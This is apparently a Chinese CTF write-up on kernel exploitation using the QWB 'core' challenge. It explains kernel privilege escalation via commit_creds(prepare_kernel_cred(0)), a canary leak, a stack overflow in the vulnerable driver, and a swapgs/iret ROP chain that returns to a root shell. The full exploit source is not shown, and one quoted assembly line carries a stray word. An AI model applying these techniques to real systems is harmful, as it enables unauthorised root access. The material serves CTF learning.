早就该学习kernel pwn,否则得被时代抛弃了。先从简单的入手吧,复现几道以前的ROP赛题目前只找到强网杯的题目,顺便从中学习一点kernel的基础知识。
相关知识
Kernel提权
目前看到的主要是通过一下调用进行提权(应该还有更复杂的提权方法):
1 | commit_creds(prepare_kernel_cred(0)); |
其中perpare_kernel_cred
函数的定义如下:
1 | /** |
注释中已经把函数功能描述得很具体了,简单来说,这个函数主要是生成一个cred
结构体,主要根据传入的参数struct task_struct *daemon
来确定一些内核服务的credentials,以便于给当前task提供在特定的context执行的权限。
在参数为NULL的情况下,也其实就是理解为把0号进程的task_struct
作为参数的情况下,返回一个相应的cred
结构体,这个结构体具有最高的root权限。
而commit_creds
函数定义为:
1 | /** |
从注释里也可以看到,这个函数的功能就是给当前task写入新的cred
的结构体,从而改变了当前task的权限。
配合通过prepare_kernel_cred(0)
得到的root权限的cred
结构体,从而赋予当前task同样的root权限,这样就完成了提权。
状态切换
我们知道当进行一些系统调用,或者产生某些异常,或发生外部中断的时候,需要从用户态切换到内核态,再去执行一些内核的相关操作。而从内核态执行返回的时候,同样需要切换回用户态再去执行用户代码。
而具体的切换的过程为:
- 从用户态到内核态:
- 通过
swapgs
切换GS
段寄存器,将GS
寄存器值和一个特定位置的值进行交换,目的是保存GS
值,同时将该位置的值作为内核执行时的GS
值使用 - 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
- 通过push保存各寄存器值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK
/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */- 通过汇编指令判断是否为x32_abi
- 通过系统调用号,跳到全局变量
sys_call_table
相应位置继续执行系统调用。
- 通过
- 从内核态到用户态
文件分析
一般来说,对于一个kernel pwn的题目,通常给以下文件:
1 | boot.sh: 一个用于启动kernel的shell的脚本,多用qemu,保护措施与qemu不同的启动参数有关 |
对于所给文件的进行分析:
- 解包文件系统映像(以
core.cpio
举例):1
2
3
4
5
6
7
8mkdir core # 创建目录core
mv core.cpio ./core/core.cpio.gz # 重命名core.cpio为core.cpio.gz从而进行后续解压操作
gunzip core.cpio.gz # 解包得到core.cpio(ASCII cpio archive)
cpio -idmv < core.cpio # cpio为归档工具,"i", "d", "m", "v"参数分别表示:
# -i: (extract)指定运行为copy-in模式,即目录拷贝模式
# -d: 在需要的地方创建目录
# -m: 保留文件原始的修改时间
# -v: 在屏幕上打印出相关信息 - 解包后的重要文件(以强网杯core为例):
1
2
3
4
5core.ko # 含有漏洞的目标驱动文件(一般来说都会提供一个含有漏洞的模块)
gen_cpio.sh # 用来打包的脚本,将解包出的文件重新打包为core.cpio
# shell脚本内容是:find . -print0 | cpio --null -ov --format=newc | gzip -9 > $1
# 其他题目不一定给,需要自己写
init # kernel启动的初始化文件
保护机制
- smep:
Supervisor Mode Execution Protection
,当处理器处于ring 0
模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN) - smap:
Superivisor Mode Access Protection
,类似于smep,当处理器处于ring 0
模式,访问用户空间的数据会触发页错误。 - MMAP_MIN_ADDR:控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据。
- kalsr:
Kernel Address Space Layout Randomization
(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。
调试
一般在启动脚本start.sh
中,添加以下内容:
1 | -gdb tcp:port |
或者:
1 | -s # "-gdb tcp:1234"的简写 |
强网杯kernel pwn core复现
题目分析
查看驱动模块core.ko
的保护,这里显示No PIE
是错误的,实际上开了PIE:
1 | Arch: amd64-64-little |
从start.sh
中可以看到开了kaslr,但是没开smep:
1 | -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" |
ioctl
提供了三个功能:
1 | __int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3) |
0x6677889B
功能调用core_read
,从内核栈&v6+off
开始的位置读取0x40 bytes的数据写入到用户空间中:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26unsigned __int64 __fastcall core_read(__int64 a1, __int64 a2)
{
__int64 v2; // rbx
__int64 *v3; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
__int64 v6; // [rsp+0h] [rbp-50h]
unsigned __int64 v7; // [rsp+40h] [rbp-10h]
v2 = a1;
v7 = __readgsqword(0x28u);
printk(&unk_25B, a2);
printk(&unk_275, off);
v3 = &v6;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v3 = 0;
v3 = (__int64 *)((char *)v3 + 4);
}
strcpy((char *)&v6, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v2, (char *)&v6 + off, 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v7;
__asm { swapgs }
return result;
}0x6677889C
功能,将off
设置为传入的参数,也就是off
是可控的:0x6677889A
功能,调用core_copy_func
将name
的字符串copy到栈上变量v3
中,长度由用户态传入的参数控制。这里因为传入的a1
参数是有符号的,因此可以通过传入负数绕过a1 > 63
的check,而qmemcpy(&v3, &name, (unsigned __int16)a1);
中长度是(unsigned __int16)a1)
,最大可为0xFFFF,从而存在栈溢出。同时驱动模块提供1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20_int64 __fastcall core_copy_func(__int64 a1, __int64 a2)
{
__int64 result; // rax
__int64 v3; // [rsp+0h] [rbp-50h]
unsigned __int64 v4; // [rsp+40h] [rbp-10h]
v4 = __readgsqword(0x28u);
printk(&unk_215, a2);
if ( a1 > 63 )
{
printk(&unk_2A1, a2);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v3, &name, (unsigned __int16)a1);
}
return result;
}core_write
回调函数,接受用户态的输入储存到变量name
中:1
2
3
4
5
6
7
8
9
10
11__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk(&unk_215, a2);
if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
return (unsigned int)v3;
printk(&unk_230, a2);
return 0xFFFFFFF2LL;
}
利用思路
- 首先在
core.cpio
解包出的文件init
中,patch自动关机的命令poweroff -d 120 -f &
为poweroff -d 0 -f &
再重新打包。 - 通过
0x6677889C
功能设置off
为0x40,从而&v6+off
的位置指向栈上的canary,再通过0x6677889B
功能leak出canary以及PIE。 - 然后通过保存当前用户态的寄存器信息,在从内核态提权返回的时候用来恢复寄存器的信息。
1
2
3
4
5
6
7
8
9
10
11size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] status has been saved.");
} - 之后通过
write(fd, rop, 0x100)
布置rop chain到name
中去:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28+----------------+ 0
| fill |
..................
| fill |
| fill |
+----------------+ +0x40
| canary |
+----------------+
| fill |
+----------------+
| priviledge | ==> commit_creds(perpare_kernel_cred(0));
+----------------+
| swapgs | ==> swapgs; pop rbp; ret;
+----------------+
| fill |
+----------------+
| iret | ==> iret
+----------------+
| getshell | ==> system("/bin/sh");
+----------------+
| user_cs |
+----------------+
| user_rflags |
+----------------+
| user_sp |
+----------------+
| user_ss |
+----------------+ - 最后通过
0x6677889A
触发栈溢出,get root shell。 - 此外,因为
commit_creds
和prepare_kernel_cred
是内核函数,其地址存放在/proc/kallsyms
中,但是非root用户在直接读取的时候是读不到地址数据的(全是0)。而注意到init
中:把1
cat /proc/kallsyms > /tmp/kallsyms
/proc/kallsyms
拷贝到/tmp/kallsyms
中去了从而可以读到函数地址,在执行poc
的时候手动输入即可。
exp
1 |
|
编译命令:
1 | gcc pwn_core.c -masm=intel -static -lutil -o pwn_core |
小结
- 总的来说这还是一道比较简单的题,ROP的利用思路也看起来相对简单,有些保护比如
smep
没开导致可以直接在内核态执行用户代码,所以布置rop相对轻松。 - 做kernel pwn rop的基本思路基本可以从这道题中了解了,主要是通过各种方法提权然后返回用户态开shell,尽管方式各异。
- 复现core算是开了一个小头,最近看了有一定数量的kernel pwn的分析文章了,但是很多都是看看而已还没动手复现过,只是留了个印象方便之后复现的时候过于生疏。
- 总之kernel pwn还是需要一些kernel的知识的,要学的东西还很多,慢慢学吧。